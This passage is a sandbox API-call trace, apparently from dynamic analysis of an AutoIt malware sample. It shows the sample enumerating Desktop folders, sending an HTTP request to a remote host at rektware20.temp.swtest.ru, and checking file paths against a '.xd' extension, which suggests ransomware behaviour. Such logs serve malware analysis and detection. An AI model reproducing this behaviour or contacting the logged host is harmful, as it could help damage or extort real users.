lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.314] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.314] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.314] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.314] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.314] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.314] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.314] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.314] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.315] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.315] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.315] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.315] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.315] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.315] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.315] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.325] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.328] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.328] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.329] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.329] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.329] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.329] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.329] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.329] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.331] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.331] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.331] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.331] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.331] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.332] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.332] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.332] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.333] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.334] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ASH", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.334] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SH", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0074.334] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0074.334] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.334] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.334] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0074.334] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.334] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.334] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.334] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.334] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.334] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.335] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.335] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.335] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.335] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.335] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.335] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.335] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.335] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.336] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.336] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.337] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.337] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.338] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.339] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.339] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.339] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.339] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.339] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.340] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.382] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.382] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.382] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.382] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.382] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.383] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.383] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.383] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.383] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.383] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.383] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.395] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.396] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.396] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.396] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.396] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.396] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.396] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.397] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.398] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.398] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.398] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.398] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.398] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.398] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.398] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.398] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.398] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.398] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.398] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.400] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.401] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.401] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.402] FindNextFileW (in: hFindFile=0x164d130, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0074.402] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0074.402] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164d170 [0074.402] FindNextFileW (in: hFindFile=0x164d170, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.402] FindNextFileW (in: hFindFile=0x164d170, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.402] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.402] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.402] FindNextFileW (in: hFindFile=0x164d170, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.402] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.410] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.410] FindNextFileW (in: hFindFile=0x164d170, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.410] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.410] FindNextFileW (in: hFindFile=0x164d170, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.410] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.410] FindNextFileW (in: hFindFile=0x164d170, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.411] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.411] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.411] FindNextFileW (in: hFindFile=0x164d170, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.411] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.421] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.421] FindNextFileW (in: hFindFile=0x164d170, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.421] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.421] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.421] FindNextFileW (in: hFindFile=0x164d170, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.421] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.422] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.422] FindNextFileW (in: hFindFile=0x164d170, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.422] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.422] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.428] FindNextFileW (in: hFindFile=0x164d170, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.428] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.428] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.428] FindNextFileW (in: hFindFile=0x164d170, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0074.428] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0074.428] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0074.428] FindNextFileW (in: hFindFile=0x164d170, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0074.429] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0074.429] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0074.429] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0074.429] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.429] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0074.429] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.429] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0074.429] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0074.429] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ef8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ef8, lpdwBufferLength=0x130ef8c) returned 1 [0074.429] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.430] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.430] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.431] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0074.431] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0074.431] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0074.431] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0074.431] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0074.431] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.432] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.432] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.432] CloseHandle (hObject=0x0) returned 0 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", 